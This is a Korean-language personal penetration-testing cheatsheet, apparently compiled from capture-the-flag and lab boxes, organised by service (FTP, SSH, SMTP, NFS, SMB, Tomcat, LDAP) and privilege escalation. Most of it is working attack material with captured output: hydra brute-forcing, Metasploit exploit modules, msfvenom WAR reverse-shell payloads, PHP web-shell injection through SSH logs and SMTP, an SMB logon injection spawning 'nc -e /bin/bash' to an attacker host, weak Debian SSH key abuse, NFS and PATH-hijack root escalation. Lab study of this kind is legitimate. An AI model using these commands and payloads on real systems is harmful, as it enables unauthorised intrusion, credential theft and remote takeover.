지금까지 풀었던 문제들을 기반으로

서비스별 주요 공략법과 필수 명령어,

키워드 등을 정리해 두었다.

(계속 업데이트 예정)

 

 

 

 


 

 

 

 

takudaddy's cheatsheets : v.01

 

 

 

 

Ubuntu 16.04 의 다음 Kernel 들은

4.4.0-31-generic

4.4.0-62-generic

4.4.0-81-generic

4.4.0-116-generic

4.8.0-58-generic

4.10.0.42-generic

4.13.0-21-generic

45010.c 파일로 루트 획득이 가능하다.

 

 

 

 

############################################################

* 커맨드 출력 결과 저장

############################################################

 

 

# script -a -c "nmap 192.168.10.1" nmap1.result

 

# vi ~/.zshrc 에

alias s='script -a'

로 저장해 둔다.

 

 

 

 

 

 

############################################################

* SCANNINIG

############################################################

 

 

# dirb http://IP 

# dirb http://IP /usr/share/wordlists/dirb.common.txt -X .txt,.html,.php

# wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://IP/Fuzz

# wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 --hw 12 http://IP/index.php?Fuzz

 

$ gobuster dir -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://10.11.1.133 -x asp,php,html,txt -t 64

 

# gobuster dir -u http://192.168.10.22:7331 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

$ gobuster dir -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://10.11.1.133 -x asp,php,html,txt -t 64

# gobuster dir -u http://192.168.10.22:7331 -w /usr/share/wordlists/dirb/small.txt -x sh,pl

┌──(root💀takudaddy)-[/htb/shocker]
└─# gobuster dir -u http://10.10.10.56/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -x sh,pl 

# gobuster dir -f -t 50 -x html -u http://192.168.10.22/cgi-bin -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

 

 

/etc/hosts 로 dns 등록하는 것 습관화 시키고

 

웹 단어 스캔

# cewl -m 5 http://joker/joomla/ > dic-words.txt

# cewl www.megaco.com  -m 6 -w wordlist.txt

 

john the ripper

/etc/john/john.conf

# john --wordlist=list.txt --rules --stdout > johnresult.txt

 

 

 

 

 

#################################################################

* FTP(21) / telnet(23) / proftpd 1.3.5

#################################################################

 

1. FTP 사용법 & 명령어 : BOF / FormatstringAttack 가능

# ftp 192.168.10.4

anonymous : nopassword

ftp> bin

ftp> hash

ftp > prompt

ftp> ls

ftp> lcd /root/cheat # 홈 경로

ftp> put file.txt # 파일 올릴때

ftp> get file.txt # 파일 받을때

 

 

1-1. FTP password brute force

# hydra -f -l aeolus -p /usr/share/wordlists/rockyou.txt 172.14.4.3 ftp

ftp 안되면 ssh로 시도

 

 

 

2. telnet 사용법 & 명령어 :

# telnet 192.168.10.4 21

> site cpfr /home/patrick/version_contol

> site cpto /home/ftp/upload/version_control

 

 

 

3. Proftpd 1.3.5 사용법 : 상대 서버로 침투용

# msfconsole -q

msf> use exploit/unix/ftp/proftpd_modcopy_exec

msf> set payload cmd/unix/reverse_python

msf> set RHOSTS 192.168.10.11 (RPORT 기본 값 80 / RPORT_FTP 기본 값 21 : 그대로 쓰면 됨)

msf> set LHOST 192.168.10.4 (LPORT 4444 기본 값 : 그냥 쓰면 됨)

msf> set SITEPATH /var/www/tryingharderisjoy

msf> exploit

 

 

 

4. 접속 후 주요 명령어 :

$ python -c 'import pty;pty.spawn("/bin/bash")'

$ sudo /bin/bash

$ sudo -l

$ export TERM=vt100

$ export TERM=xterm-256color

 

 

 

 

 

5.Shell code :

$ find / -perm -u=s -type f -exec ls -al {} \; 2>/dev/null

$ find / -perm -g=s -type f -exec ls -l {} \; 2>/dev/null

으로 suid sgid 권한 찾은 후

 

/bin/bash 사용 가능하면

$ /bin/bash -p

# 루트 전환 됨

 

 

-bash-5.0$ cp ip ip.orig
-bash-5.0$ ls -l
total 8
-rwxr-xr-x 1 oscp oscp 90 Apr  9 20:22 ip
-rwxr-xr-x 1 oscp oscp 90 Apr  9 20:45 ip.orig

-bash-5.0$ vi ip
-bash-5.0$ cat ip.orig
#!/bin/sh
cp /etc/issue-standard /etc/issue
/usr/local/bin/get-ip-address >> /etc/issue

-bash-5.0$ cat ip
#!/bin/sh
cp /root/flag.txt /home/oscp/flag.txt
chown oscp:oscp /home/oscp/flag.txt

 

 

 

 

# echo "awk 'BEGIN {system(\"/bin/bash\")}'" > attack

타켓 서버에 올려두고 실행시키면 됨

 

$ mawk 'BEGIN {system("/bin/sh")}'

ted@Toppo:~$ mawk 'BEGIN {system("cat /root/flag.txt")}'

 

 

 

 

 

##############################################################################

* SSH(22) / SSH-KEY + NFS / mysql(3306), postgresql(5432)

##############################################################################

 

 

 

0. ssh 포트 열려있는 경우

 

 

 

- 아이디를 알아내 hydra로 brute force 시도!

# hydra -f -l aeolus -P /usr/share/wordlists/rockyou.txt 172.14.4.3 ssh

(ssh로 안되면 ftp로 시도해라!)

 

 

 

하이드라 다른 포트 지정할때 -s 옵션 사용

# hydra -l RickSanchez -P pass.list ssh://192.168.10.34 -s 22222

- 암호 찾아지면 ssh로 로그인 시도하기! 

 

 

 

1. ssh 사용법 : 사용자와 비번을 알고 있는 경우

# ssh username@192.168.10.8

 

 

 

포트포워딩

1-2 ssh 터널링 (상대편 서버에서만 공개된 포트로 붙이고 싶을때)

# ssh -L 7979:127.0.0.1:8080 aeolus@192.168.20.8 

 

-L (address 옵션)을 주고 우리포트:상대IP:대상포트

 

 

┌──(root💀takudaddy)-[/attack]
└─# ssh -L 7979:127.0.0.1:8080 aeolus@192.168.20.8                       1 ⚙
aeolus@192.168.20.8's password: 
bind [127.0.0.1]:8080: Address already in use
Linux symfonos2 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1+deb9u3 (2019-06-16) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Sat Mar 27 10:35:23 2021 from 192.168.20.1
aeolus@symfonos2:~$ 

 

 

 

2. ssh-key 생성 후 복사 가능한 상황에서 로그인

# ssh-keygen

# ls /root/.ssh

# cat /root/.ssh/id_rsa.pub

해당 키를 상대편 자원에 복사

# su vulnix

# cd /mnt/vulnix

# mkdir -p .ssh

# cd .ssh

# echo "copied id_rsa.pub key" > authorizevd_keys

# ssh -i /root/.ssh/id_rsa vulnix@192.168.20.5

 

 

 

2-1 ssh pub key -> base 64 로 인코딩

 

# ssh -i base64키 n30@192.168.20.11

┌──(root💀takudaddy)-[/study]
└─# cat mykey.pub 
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApC39uhie9gZahjiiMo+k8DOqKLujcZMN1bESzSLT8H5jRGj8n1FFqjJw27Nu5JYTI73Szhg/uoeMOfECHNzGj7GtoMqwh38clgVjQ7Qzb47/kguAeWMUcUHrCBz9KsN+7eNTb5cfu0O0QgY+DoLxuwfVufRVNcvaNyo0VS1dAJWgDnskJJRD+46RlkUyVNhwegA0QRj9Salmpssp+z5wq7KBPL1S982QwkdhyvKg3dMy29j/C5sIIqM/mlqilhuidwo1ozjQlU2+yAVo5XrWDo0qVzzxsnTxB5JAfF7ifoDZp2yczZg+ZavtmfItQt1Vac1vSuBPCpTqkjE/4Iklgw== root@targetcluster

┌──(root💀takudaddy)-[/study]
└─# wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/5622.tar.bz2
--2021-04-09 00:06:57--  https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/5622.tar.bz2
Resolving github.com (github.com)... 52.78.231.108
Connecting to github.com (github.com)|52.78.231.108|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/offensive-security/exploitdb-bin-sploits/master/bin-sploits/5622.tar.bz2 [following]
--2021-04-09 00:06:57--  https://raw.githubusercontent.com/offensive-security/exploitdb-bin-sploits/master/bin-sploits/5622.tar.bz2
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.110.133, 185.199.108.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 50226987 (48M) [application/octet-stream]
Saving to: ‘5622.tar.bz2’

5622.tar.bz2                  100%[===============================================>]  47.90M  10.9MB/s    in 4.6s    

2021-04-09 00:07:04 (10.4 MB/s) - ‘5622.tar.bz2’ saved [50226987/50226987]


                                                                                                                      
┌──(root💀takudaddy)-[/study]
└─# tar -xvf 5622.tar.bz2


┌──(root💀takudaddy)-[/study]
└─# cd rsa       
                                                                                                                      
┌──(root💀takudaddy)-[/study/rsa]
└─# ls
2048
                                                                                                                      
┌──(root💀takudaddy)-[/study/rsa]
└─# cd 2048
                                                                                                                      
┌──(root💀takudaddy)-[/study/rsa/2048]
└─# grep -r -l AAAAB3NzaC1yc2EAAAABIwAAAQEApC39uhie9gZahjiiMo+k8DOqKLujcZMN1bESzSLT8H5jRGj8n1FFqjJw27Nu5JYTI73Szhg/uoeMOfECHNzGj7GtoMqwh38clgVjQ7Qzb47/kguAeWMUcUHrCBz9KsN+7eNTb5cfu0O0QgY+DoLxuwfVufRVNcvaNyo0VS1dAJWgDnskJJRD+46RlkUyVNhwegA0QRj9Salmpssp+z5wq7KBPL1S982QwkdhyvKg3dMy29j/C5sIIqM/mlqilhuidwo1ozjQlU2+yAVo5XrWDo0qVzzxsnTxB5JAfF7ifoDZp2yczZg+ZavtmfItQt1Vac1vSuBPCpTqkjE/4Iklgw== 
4161de56829de2fe64b9055711f531c1-2537.pub
                                                                                                                      
┌──(root💀takudaddy)-[/study/rsa/2048]
└─# ssh -i 4161de56829de2fe64b9055711f531c1-2537 n30@192.168.20.11
Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-20-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

Last login: Tue Aug 14 13:29:20 2018 from 192.168.209.1
n30@W34KN3SS:~$ id

 

 

 

 

 

3. postgresql : 유저 암호를 알아야 함

# ssh webmin@192.168.10.6 -L 5432:localhost:5432 (-L=localhost)

 

3-2) ID와 암호를 모르는 경우, 스캔작업

# msfconsole -q

> use auxiliary/scanner/postgres/postgres_login

> set RHOSTS 127.0.0.1

> exploit

> ID / PASS를 얻을 수 있다.

 

3-3) pg_dumpall 사용법 : 위에서 ID와 PW를 찾은 상황

# PGPASSWORD="postgres" pg_dumpall -U postgres -h localhost -p 5432

> 사용자 ID와 비번을 얻을 수 있다.

 

 

 

상대방 서버 접속 후

LinuxPrivEnum.sh 복사해서 툴 돌리기

# nc -lvp 7979 < LinuxPrivEnum.sh

$ nc -nv 192.168.10.4 7979 > enum.sh

 

 

주요 명령어 :

$ python -c 'import pty;pty.spawn("/bin/bash")'

$ sudo /bin/bash

$ sudo -l

$ export TERM=vt100

$ export TERM=xterm-256color

 

 

 

4. openssh

LFI가 가능한 경우

/etc/passwd가 안 읽히면

/var/log/auth 를 읽어

openssh 열려있는지 확인

 

있으면 ssh log poisoning 공격 가능

 

# ssh '<?php system($_GET['cmd'])'; ?>'@192.168.10.22

 

 

 

 

#############################################################################

* SMTP(25) / Finger(79) / rcpBind(111) / NFS(111/2049)+SSH /pop3

#############################################################################

 

 

0.보안 이슈

* SMTP : expn(expansion) / vrfy 명령어로 계정 존재 유무 파악 가능

* Finger : 사용자 정보 확인 서비스 / 비인가자에게 사용자 계정 정보가 제공됨. 브루트포스 패스워드어택 가능

* rpcBind : 포트를 Remote Procedure Call에 등록해 놓고 클라이언트가 rpc에 포트 할당 요청, 할당된 포트를 자신에게 필요한 서비스로 연결하는 프로토

* NSF : 다른 컴퓨터의 파일 시스템을 자신의 로컬 시스템에 마운트 후 사용

 

 

 

1. SMTP 유저 스캔 : 찾은 리스트는 파일로 저장

1-1.

# msfconsole -q

> search auxiliary/scanner/smtp

> use auxiliary/scanner/smtp/smtp_enum

> set RHOST 192.168.20.5

> set THREADS 10

> exploit

1-2.

# smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t 192.168.20.5

 

SMTP 25번이 열려 있으면 telnet으로 접속 가능!

1-3. telnet에 25번 포트 지정. postfix 메일 전송 프로그램임

# telnet 192.168.10.20 25

┌──(root💀takudaddy)-[~]
└─# telnet 192.168.10.20 25
Trying 192.168.10.20...
Connected to 192.168.10.20.
Escape character is '^]'.
220 symfonos.localdomain ESMTP Postfix (Debian/GNU)
MAIL FROM: <takudaddy> 
250 2.1.0 Ok
RCPT TO: <helios>
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
<?php system($_GET['cmd']); ?>
.
250 2.0.0 Ok: queued as 8DA9040B89

 

 

1-4 pop3

 

# hydra -L username -P /usr/share/wordlists/fasttrack.txt -t20 192.168.56.103 -s55007 -I pop3


┌──(root💀takudaddy)-[/attack]
└─# hydra -l boris -P /usr/share/wordlists/fasttrack.txt pop3://192.168.20.12 -s 55007                       1 ⚙
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-04-09 13:32:31
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 222 login tries (l:1/p:222), ~14 tries per task
[DATA] attacking pop3://192.168.20.12:55007/
[STATUS] 80.00 tries/min, 80 tries in 00:01h, 142 to do in 00:02h, 16 active
[STATUS] 64.00 tries/min, 128 tries in 00:02h, 94 to do in 00:02h, 16 active
[55007][pop3] host: 192.168.20.12   login: boris   password: secret1!
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-04-09 13:35:20

# telnet 192.168.20.12 55007 

or

# nc 192.168.20.12 55007

 

┌──(root💀takudaddy)-[/study]
└─# nc 192.168.20.12 55007                                                                                        1 ⨯
+OK GoldenEye POP3 Electronic-Mail System
USER boris
+OK
PASS secret1!
+OK Logged in.
RETR 1
+OK 544 octets
Return-Path: <root@127.0.0.1.goldeneye>
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from ok (localhost [127.0.0.1])
        by ubuntu (Postfix) with SMTP id D9E47454B1
        for <boris>; Tue, 2 Apr 1990 19:22:14 -0700 (PDT)
Message-Id: <20180425022326.D9E47454B1@ubuntu>
Date: Tue, 2 Apr 1990 19:22:14 -0700 (PDT)
From: root@127.0.0.1.goldeneye

Boris, this is admin. You can electronically communicate to co-workers and students here. I'm not going to scan emails for security risks because I trust you and the other admins here.
.

RETR 2
............

RETR 3

 

 

 

2. Finger 유저 스캔 : 찾은 리스트는 파일로 저장

# msfconsole -q

> search auxiliary/scanner/finger

> use auxiliary/scanner/finger/finger_users

> set RHOSTS 192.168.20.5

> exploit

 

 

 

3. 찾은 유저 리스트로 finger 접속 :

# finger user@192.168.20.5

or

# git clone https://github.com/Kan1shka9/Finger-User-Enumeration.git

# cd /root/Finger-User_Enumeration

# ./finger_user.sh users.txt

 

 

 

4. rpcinfo -p 192.168.20.5 (nmap으로 검색가능)

 

 

 

 

5. NFS :

활성화 여부 확인 및 공유 중인 디렉터리 확인 방법

# nmap -sU -sT 192.168.20.5 -p 2049

# showmount -e 192.168.20.5

 

로컬 서버에 마운트 방법

# mkdir /mnt/remote

# mount -t nfs 192.168.20.5:/home/vulnix /mnt/remote

# df 로 확인

 

혹 권한이 없어서 못 들어갈 수 있음

사용자 이름을 알고 있는 상황이라면 브루트포스로 암호를 얻고

타킷서버에서 /etc/passwd 유저의 UID GID 값 확인

로컬서버에서 동일한 값을 가진 유저 생성

# useradd -u 2008 vulnix : 해당 유저로 전환 후 마운트 자원에 접근하면 됨

 

 

윈도우 마운트

$ sudo mkdir /mnt/win10_share

$ sudo mount -t cifs -o port=4455 //192.168.160.10/Data -o username=Administrator,password=lab /mnt/win10_share

$ ls -l /mnt/win10_share

 

 

접근 후 ssh 키 생성해 넣어주기

# ssh-keygen

# ls /root/.ssh

# cat /root/.ssh/id_rsa.pub

해당 키를 상대편 자원에 복사

# su vulnix

# cd /mnt/vulnix

# mkdir -p .ssh

# cd .ssh

# echo "copied id_rsa.pub key" > authorized_keys

이 후 ssh로 로그인

# ssh -i /root/.ssh/id_rsa vulnix@192.168.20.5

# ssh vulnix@192.168.20.5)

 

접속 후 주요 명령어 :

python -c 'import pty;pty.spawn("/bin/bash")'

sudo /bin/bash

sudo -l

 

 

5-1. NFS 설정 파일 접근 가능한 경우 :

/home/vulnix *(rw,no_root_squash) : root_squash는 권한 상승을 무효화 시키는 기술 : no_root로 변경

and 혹시 모르니

/root *(rw,no_root_squash) 추가 : 재부팅 해야 적용됨

 

 

 

5-2. 로컬에서 언마운트 후 리마운트, 사용자 전환 후 /bin/bash 복사

# umount /mnt/remote

# df

# mount -t nfs 192.168.20.5:/home/vulnix /mnt/remote

# su vulnix

# cp /bin/bash remote

$ chmod 4777 bash

타깃에 접속 후 해당 파일 실행

$ ./bash -p : 커널 버전이 안맞으면 실행 안됨

 

 

 

5-3. 커널 비트 확인 :

# getconf LONG_BIT

64비트 프로그램을 32비트로 컴파일 하는 법 :

# apt-get install -y gcc-multilib 설치 후

gcc로 컴파일 중 -m32 옵션을 넣어준다.

# gcc -o root32 root.c -m32

해당 파일에 setuid를 걸어주고

# chmod 4777 root32

침투 서버에서 실행해 주면!! 안될 수 있음

 

 

 

5-4. /root 마운트 활용

# mount -t nfs 192.168.20.5:/root /mnt/remote

# cd /mnt/remote

들어가지면 루트로 들어가게 된거라 끝이지만 추가 작업을 원할 경우 아래 절차 실행

# mkdir .ssh

# cp /root/.ssh/id_rsa.pub authorized_keys

# ssh root@192.168.20.5

 

 

 

접속 후 주요 명령어 :

$ python -c 'import pty;pty.spawn("/bin/bash")'

$ sudo /bin/bash

$ sudo -l

$ export TERM=vt100

$ export TERM=xterm-256color

 

 

 

 

 

53 번 포트 도메인 포트

 

# nslookup

> server 10.10.10.3

> 10.10.10.3

네임서버명이 뜬다.

 

> cronos.htb (역으로 확인가능)

 

 

┌──(root💀takudaddy)-[/htb/c]
└─# nslookup                                          1 ⨯
> server 10.10.10.13
Default server: 10.10.10.13
Address: 10.10.10.13#53
> 
> 10.10.10.13
13.10.10.10.in-addr.arpa        name = ns1.cronos.htb.
> 
> cronos.htb
Server:         10.10.10.13
Address:        10.10.10.13#53

Name:   cronos.htb
Address: 10.10.10.13
>          




추가 검색
┌──(root💀takudaddy)-[/htb/c]
└─# dig axfr @10.10.10.13 cronos.htb

; <<>> DiG 9.16.11-Debian <<>> axfr @10.10.10.13 cronos.htb
; (1 server found)
;; global options: +cmd
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb.             604800  IN      NS      ns1.cronos.htb.
cronos.htb.             604800  IN      A       10.10.10.13
admin.cronos.htb.       604800  IN      A       10.10.10.13
ns1.cronos.htb.         604800  IN      A       10.10.10.13
www.cronos.htb.         604800  IN      A       10.10.10.13
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 212 msec
;; SERVER: 10.10.10.13#53(10.10.10.13)
;; WHEN: Tue Apr 20 20:56:09 KST 2021
;; XFR size: 7 records (messages 1, bytes 203)

 

 

 

######################################################################

* smb(139/445) / knocking / tomcat

######################################################################

 

1. smb

# smbmap -H 192.168.20.8

# smclient -L //192.168.20.8 (기본 스캔 가능)  # smclient -L 192.168.20.8

┌──(root💀takudaddy)-[/attack]
└─# smbclient -L //192.168.20.8          
Enter WORKGROUP\root's password: 

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        anonymous       Disk      
        IPC$            IPC       IPC Service (Samba 4.5.16-Debian)
SMB1 disabled -- no workgroup available
                                                    

 

 

scanning tools : enum4linux

 

# enum4linux -a 192.168.10.10

# enum4linux -S 192.168.10.10

> 출력 결과 잘 봐야함

 ========================================== 
|    Share Enumeration on 192.168.10.14    |
 ========================================== 

        Sharename       Type      Comment
        ---------       ----      -------
        anonymous       Disk      
        secured         Disk      
        IPC$            IPC       IPC Service (Samba Server 4.7.1)
SMB1 disabled -- no workgroup available

[+] Attempting to map shares on 192.168.10.14
//192.168.10.14/anonymous       Mapping: OK, Listing: OK
//192.168.10.14/secured Mapping: DENIED, Listing: N/A

 

 

 

2. smbclient 사용법 & 명령어 :

 

                                                                                 
┌──(root💀takudaddy)-[/study]
└─# smbclient //192.168.10.47/Notes  
Enter WORKGROUP\root's password: 
Try "help" to get a list of possible commands.
smb: \> 

 

# smbclient //192.168.10.9/qiu -U user

# smbclient  \\\\192.168.10.9\\qiu -U user

# smbclient -N \\\\192.168.20.8\\anonymous

> 유저 암호 입력해야 함

smb> ls

smb> cd directory

smb> get file.txt # 파일 받기

smb> exit

 

 

# smbclient //10.10.10.3/tmp

smb > ls

logon 명령어를 쓸 수 있으면

smb > logon "./=`nohup nc -e /bin/bash 10.10.14.13 7979`"

 

 

 

 

3. knocking 명령어 (포트 오픈 - 시퀀스 번호 알아야 함) :

# knock 192.168.10.9 444 777 9999

config 파일 경로 : /etc/knockd.conf

 

 

nmap으로 knocking은

┌──(root💀takudaddy)-[/study]
└─# nmap -r -Pn 192.168.10.45 -p 1,2,3 
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-12 13:35 KST
Nmap scan report for 192.168.10.45
Host is up (0.00026s latency).

PORT  STATE    SERVICE
1/tcp filtered tcpmux
2/tcp filtered compressnet
3/tcp filtered compressnet
MAC Address: 08:00:27:A6:87:0F (Oracle VirtualBox virtual NIC)



-r: Scan ports consecutively - don't randomize
-Pn: Treat all hosts as online -- skip host discovery
-p1,2,3: Scan against ports 1,2 and 3


한 뒤 -p- 로 검색

 

(knocking 프로그램이 없는 상황일 때는)
# nmap -r -Pn 10.10.10.43 -p 571,290,911 
혹은
# for i in 571 290 911; do nmap -Pn -p $i --host timeout 201 --max-retries 0 10.10.10.43; done

 

 

 

4. tomcat

 

페이로드 payload 만들기 (어떤 형식의 파일을 업로드 할 수 있는지 확인하기 -> 보통 WAR 파일)

# msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.110.4 LPORT=7979 -f war > attack.war

 

 

리스너는 nc 혹은 msfconsole

┌──(root💀takudaddy)-[/study]
└─# msfconsole -q                                                   1 ⨯ 2 ⚙
msf6 > use /multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload java/jsp_shell_reverse_tcp 
payload => java/jsp_shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.110.4
LHOST => 192.168.110.4
msf6 exploit(multi/handler) > set LPORT 7979
LPORT => 7979
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.110.4:7979 
[*] Command shell session 1 opened (192.168.110.4:7979 -> 192.168.110.140:60200) at 2021-04-06 11:49:56 +0900

id
uid=104(tomcat6) gid=112(tomcat6) groups=112(tomcat6)
python -c 'import pty;pty.spawn("/bin/bash")'
tomcat6@Breach:/var/lib/tomcat6$ whoami
whoami
tomcat6
tomcat6@Breach:/var/lib/tomcat6$ 

 

 

 

 

 

 

msfconsole 사용법 : '아이디와 비번 알고 있을 때'

 

 

payload 만들기

# msfvenom -p  java/jsp_shell_reverse_tcp LHOST=192.168.10.10 LPORT=7979 -f war > shell.war

 

 

# msfconsole -q

msf> use exploit/multi/http/tomcat_mgr_upload

msf> set payload java/meterpreter/reverse_tcp (기본 값)

msf> set HttpPassword thisispassword

msf> set HttpUsername takudaddy

msf> set RHOSTS 192.168.10.9

msf> set RPORT 8080 (톰캣 포트 : 보통 8080)

msf> exploit

 

meterpreter > shell

 

접속 후 주요 명령어 :

$ python -c 'import pty;pty.spawn("/bin/bash")'

$ sudo /bin/bash

$ sudo -l

$ export TERM=vt100

$ export TERM=xterm-256color

 

 

 

6. tomcat 페이로드 + 리스너 생성 : '파일 올릴 수 있을 때'

# msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.10.4 LPORT=7979 -f war > attack.war

 

리스너 생성 방법 두 가지

# nc -lvp 7979

or

# msfconsole -q

> use exploit/multi/handler

> set payload java/meterpreter/reverse_tcp

> set LHOST 192.168.10.4

> set LPORT 7979

> exploit

: 파일 업로드 후 실행시키면 자동 연결 됨

 

meterpreter > shell

 

접속 후 주요 명령어 :

$ python -c 'import pty;pty.spawn("/bin/bash")'

$ sudo /bin/bash

$ sudo -l

$ export TERM=vt100

$ export TERM=xterm-256color

 

 

 

 

 

########################################################

* LDAP(389) / LDAPSSL(636)

#################################################################

 

 

 

 

# nmap 192.168.10.26 -p 389 --script ldap-search --script-args 'ldap.username="cn=admin,dc=symfonos,dc=local",ldap.password="qMDdyZh3cT6eeAWD"'

┌──(root💀takudaddy)-[/attack]
└─# nmap 192.168.10.26 -p 389 --script ldap-search --script-args 'ldap.username="cn=admin,dc=symfonos,dc=local",ldap.password="qMDdyZh3cT6eeAWD"'
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-29 21:00 KST
Nmap scan report for 192.168.10.26
Host is up (0.00021s latency).

PORT    STATE SERVICE
389/tcp open  ldap
| ldap-search: 
|   Context: dc=symfonos,dc=local
|     dn: dc=symfonos,dc=local
|         objectClass: top
|         objectClass: dcObject
|         objectClass: organization
|         o: symfonos
|         dc: symfonos
|     dn: cn=admin,dc=symfonos,dc=local
|         objectClass: simpleSecurityObject
|         objectClass: organizationalRole
|         cn: admin
|         description: LDAP administrator
|         userPassword: {SSHA}UWYxvuhA0bWsjfr2bhtxQbapr9eSgKVm
|     dn: uid=zeus,dc=symfonos,dc=local
|         uid: zeus
|         cn: zeus
|         sn: 3
|         objectClass: top
|         objectClass: posixAccount
|         objectClass: inetOrgPerson
|         loginShell: /bin/bash
|         homeDirectory: /home/zeus
|         uidNumber: 14583102
|         gidNumber: 14564100
|         userPassword: cetkKf4wCuHC9FET
|         mail: zeus@symfonos.local
|_        gecos: Zeus User
MAC Address: 08:00:27:15:47:4A (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.20 seconds

 

 

 

 

 

########################################################################

* Privilege Escalation

########################################################################

 

 

 

sudo -l

에 nmap 쓸 수 있으면

$ sudo nmap --interactive

mmap> !sh

 

id

root

 

 

 

0. 침투 후 바로 확인할 내용

 

# 기본 쉘을 뭘 쓰고 있는지 확인 

# echo $0

# echo $SHELL

후에 권한 쉘 대입해 권한 상승 시킬때

쉘 종류 안 맞으면 상승 안됨

1. tmp 폴더로 이동후 curl 파일생성 + /bin/bash로 내용 채우기
<h3l105/wp-content/plugins/mail-masta/inc/campaign$ cd /tmp
cd /tmp
helios@symfonos:/tmp$ touch curl
touch curl
helios@symfonos:/tmp$ echo "/bin/sh" > curl
echo "/bin/sh" > curl     (/bin/bash는 권한 상승 안됨)
helios@symfonos:/tmp$ ls
ls
curl
helios@symfonos:/tmp$ cat curl
cat curl
/bin/sh


2. setuid 비트 설정
helios@symfonos:/tmp$ ls -al       
ls -al
total 12
drwxrwxrwt  2 root   root   4096 Mar 26 10:49 .
drwxr-xr-x 22 root   root   4096 Jun 28  2019 ..
-rw-r--r--  1 helios helios   10 Mar 26 10:49 curl
helios@symfonos:/tmp$ chmod 4777 curl
chmod 4777 curl
helios@symfonos:/tmp$ ls -al
ls -al
total 12
drwxrwxrwt  2 root   root   4096 Mar 26 10:49 .
drwxr-xr-x 22 root   root   4096 Jun 28  2019 ..
-rwsrwxrwx  1 helios helios   10 Mar 26 10:49 curl


3. 환경변수에 /tmp폴더 등록
helios@symfonos:/tmp$ echo $PATH
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
helios@symfonos:/tmp$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
helios@symfonos:/tmp$ echo $PATH
echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

 

 

# find / -perm -u=s -type f 2>/dev/null

(# find / -perm -4000 2>/dev/null)

 

$ find . -type d

$ find / -writable -type d 2>/dev/null

$ find / -perm -222 -type d 2>/dev/null

 

 

# opt 폴더 체크

 

 

# 침투 서버 파일 로컬로 가지고 올 때

# scp -P 22222 Summer@192.168.10.34:journal.txt.zip /study

┌──(root💀takudaddy)-[/study]
└─# scp -P 22222 Summer@192.168.10.34:journal.txt.zip .     
Summer@192.168.10.34's password: 
journal.txt.zip               100%  414     1.1MB/s   00:00

┌──(root💀takudaddy)-[/study]
└─# 

 

 

 

침투 서버 : python3 -m http.server 4444 로 포트 열어주고  (python -m SimpleHTTPServer 4444)

공격 서버 : wget http://침투서버IP:4444/file

(꼭 /var/www/html에 안올려도 되고 경로 입력 없이 파일명만 써도 받아지더라) - 안될때도 있음

1. /opt 폴더에 있는 파일 받는 실험 : 현재 경로는 /tmp

포트 오픈
helios@symfonos:/tmp$ python -m SimpleHTTPServer 7979
python -m SimpleHTTPServer 7979
Serving HTTP on 0.0.0.0 port 7979 ...


2. 대상 서버 자원 경로 지정 없이 파일명만 입력.
┌──(root💀takudaddy)-[/attack]
└─# wget http://192.168.10.20:4444/statuscheck
--2021-03-27 00:42:22--  http://192.168.10.20:4444/statuscheck
Connecting to 192.168.10.20:4444... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8640 (8.4K) [application/octet-stream]
